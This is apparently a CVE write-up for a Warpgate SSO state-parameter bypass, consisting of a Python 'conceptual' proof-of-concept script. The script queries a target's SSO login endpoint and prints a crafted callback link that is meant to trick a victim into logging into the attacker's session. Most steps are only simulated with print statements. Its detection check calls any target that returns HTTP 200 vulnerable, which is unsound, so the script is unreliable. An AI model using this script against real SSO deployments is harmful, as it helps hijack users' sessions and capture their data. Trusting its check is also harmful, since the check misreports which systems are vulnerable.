CVE-2026-44347 Warpgate SSO状态参数绕过漏洞

import requests # This is a conceptual Proof of Concept (PoC) to demonstrate the SSO state bypass logic. # It simulates an attacker initiating a flow and tricking a victim into completing it. TARGET_URL = "https://warpgate.example.com" def exploit_sso_state_bypass(): print("[*] Step 1: Attacker initiates SSO login flow...") # In a vulnerable version, the system might not bind the state to the session securely. session = requests.Session() # Simulate getting the SSO authorization URL start_resp = session.get(f"{TARGET_URL}/@warpgate/api/sso/login/start") if start_resp.status_code == 200: print("[!] Vulnerability detected: State parameter validation is missing or weak.") # Step 2: Attacker constructs a malicious link # The victim is tricked into clicking this link and logging in. # Since 'state' is not validated properly, the victim's auth code is processed # in the context of the attacker's session. malicious_callback_url = f"{TARGET_URL}/@warpgate/api/sso/callback?code=VICTIM_AUTH_CODE&state=INVALID_OR_MISSING_STATE" print(f"[*] Step 2: Attacker sends malicious link to victim: {malicious_callback_url}") # Step 3: Victim completes authentication (simulated) print("[*] Step 3: Victim logs in...") # Step 4: Attacker gains access to victim's actions within the attacker's account context print("[*] Step 4: Vulnerability exploited. Victim is logged into attacker's account context.") print("[*] Attacker can now capture data written by the victim.") else: print("[-] Target is not responding or not vulnerable.") if __name__ == "__main__": exploit_sso_state_bypass()